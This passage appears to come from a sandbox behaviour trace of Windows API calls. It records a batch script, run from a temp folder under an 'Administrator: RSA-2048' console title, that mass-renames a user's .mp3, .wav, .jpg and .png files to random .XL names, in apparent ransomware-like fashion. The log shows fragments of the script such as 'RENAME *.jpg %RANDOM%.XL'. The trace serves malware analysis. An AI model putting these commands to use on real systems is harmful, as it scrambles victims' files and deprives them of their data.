_String2=".") returned -4 [0037.419] _wcsicmp (_String1="*.mp3", _String2="..") returned -4 [0037.419] GetFileAttributesW (lpFileName="*.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.mp3")) returned 0xffffffff [0037.419] GetLastError () returned 0x7b [0037.419] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f5ac8 [0037.419] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f5ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.419] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41e850*="*.mp3") returned 0x2b [0037.419] SetErrorMode (uMode=0x0) returned 0x1 [0037.419] GetProcessHeap () returned 0x4e0000 [0037.419] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5ce0 [0037.419] _wcsicmp (_String1="*.mp3", _String2=".") returned -4 [0037.420] _wcsicmp (_String1="*.mp3", _String2="..") returned -4 [0037.420] GetFileAttributesW (lpFileName="*.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.mp3")) returned 0xffffffff [0037.420] GetLastError () returned 0x7b [0037.420] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x4f5870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f5870) returned 0x4f4bc0 [0037.420] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dXU-SZnmxwGGD0hUjuI.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dxu-sznmxwggd0hujui.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\20835.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\20835.xl")) returned 1 [0037.421] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f400750, ftCreationTime.dwHighDateTime=0x1d5e65d, ftLastAccessTime.dwLowDateTime=0x31a0a180, ftLastAccessTime.dwHighDateTime=0x1d5e158, ftLastWriteTime.dwLowDateTime=0x31a0a180, ftLastWriteTime.dwHighDateTime=0x1d5e158, nFileSizeHigh=0x0, nFileSizeLow=0x279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dXU-SZnmxwGGD0hUjuI.mp3", cAlternateFileName="")) returned 0 [0037.422] GetLastError () returned 0x12 [0037.422] FindClose (in: hFindFile=0x4f4bc0 | out: hFindFile=0x4f4bc0) returned 1 [0037.422] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.422] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.422] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.422] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.423] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.423] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.423] SetConsoleInputExeNameW () returned 0x1 [0037.423] GetConsoleOutputCP () returned 0x1b5 [0037.423] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.423] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.423] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.423] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.423] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.423] SetFilePointer (in: hFile=0x74, lDistanceToMove=5100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0037.423] GetProcessHeap () returned 0x4e0000 [0037.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ce0 | out: hHeap=0x4e0000) returned 1 [0037.423] GetProcessHeap () returned 0x4e0000 [0037.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ac8 | out: hHeap=0x4e0000) returned 1 [0037.424] GetProcessHeap () returned 0x4e0000 [0037.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.424] GetProcessHeap () returned 0x4e0000 [0037.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b88 | out: hHeap=0x4e0000) returned 1 [0037.424] GetProcessHeap () returned 0x4e0000 [0037.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.424] GetProcessHeap () returned 0x4e0000 [0037.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.424] GetProcessHeap () returned 0x4e0000 [0037.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ae8 | out: hHeap=0x4e0000) returned 1 [0037.424] GetProcessHeap () returned 0x4e0000 [0037.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.424] GetProcessHeap () returned 0x4e0000 [0037.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.424] GetProcessHeap () returned 0x4e0000 [0037.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.425] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.425] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0037.425] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1241, lpOverlapped=0x0) returned 1 [0037.425] SetFilePointer (in: hFile=0x74, lDistanceToMove=5111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0037.425] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n\n") returned 11 [0037.425] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.425] GetFileType (hFile=0x74) returned 0x1 [0037.425] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.425] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0037.425] GetProcessHeap () returned 0x4e0000 [0037.425] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.425] GetProcessHeap () returned 0x4e0000 [0037.425] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.425] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.425] GetProcessHeap () returned 0x4e0000 [0037.425] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4a98 [0037.426] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4ab8 [0037.426] _tell (_FileHandle=3) returned 5111 [0037.426] _close (_FileHandle=3) returned 0 [0037.426] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0037.426] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0037.426] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0037.426] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0037.426] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0037.426] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0037.426] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0037.426] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0037.426] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0037.426] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0037.426] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0037.426] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0037.427] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0037.427] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0037.427] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0037.427] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0037.427] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0037.427] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0037.427] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0037.427] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0037.427] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0037.427] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.427] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.427] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f4ad8 [0037.427] GetProcessHeap () returned 0x4e0000 [0037.427] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ad8) returned 0x14 [0037.427] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0037.427] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.427] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=5111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0037.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.428] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0037.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.428] GetFileType (hFile=0x74) returned 0x1 [0037.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0037.428] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=5113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0037.428] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0037.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0037.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.428] GetFileType (hFile=0x74) returned 0x1 [0037.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0037.429] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=5119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0037.429] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\n 20835.XL") returned 6 [0037.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0037.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.429] GetFileType (hFile=0x74) returned 0x1 [0037.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0037.429] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=5121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0037.429] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0037.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0037.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.429] GetFileType (hFile=0x74) returned 0x1 [0037.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0037.429] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=5147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0037.430] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0037.430] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.430] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0037.430] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.430] GetFileType (hFile=0x74) returned 0x1 [0037.430] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0037.430] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.430] SetFilePointer (in: hFile=0x74, lDistanceToMove=5158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0037.430] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0037.430] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.430] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0037.430] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.430] GetFileType (hFile=0x74) returned 0x1 [0037.430] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0037.431] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=5160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0037.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0037.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.431] GetFileType (hFile=0x74) returned 0x1 [0037.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0037.431] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=5166, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0037.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0037.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0037.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.431] GetFileType (hFile=0x74) returned 0x1 [0037.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0037.432] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.432] SetFilePointer (in: hFile=0x74, lDistanceToMove=5168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0037.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0037.432] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.432] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0037.432] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.432] GetFileType (hFile=0x74) returned 0x1 [0037.432] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0037.432] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.432] SetFilePointer (in: hFile=0x74, lDistanceToMove=5194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0037.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0037.432] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.432] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0037.432] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.432] GetFileType (hFile=0x74) returned 0x1 [0037.432] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0037.433] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.433] SetFilePointer (in: hFile=0x74, lDistanceToMove=5205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0037.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0037.433] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.433] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0037.433] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.433] GetFileType (hFile=0x74) returned 0x1 [0037.433] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0037.433] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.433] SetFilePointer (in: hFile=0x74, lDistanceToMove=5207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0037.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.433] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.433] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0037.433] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.433] GetFileType (hFile=0x74) returned 0x1 [0037.433] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0037.433] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=5213, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0037.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0037.434] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0037.434] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.434] GetFileType (hFile=0x74) returned 0x1 [0037.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0037.434] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=5215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0037.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0037.434] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0037.434] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.434] GetFileType (hFile=0x74) returned 0x1 [0037.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0037.434] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=5241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0037.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0037.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.435] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, 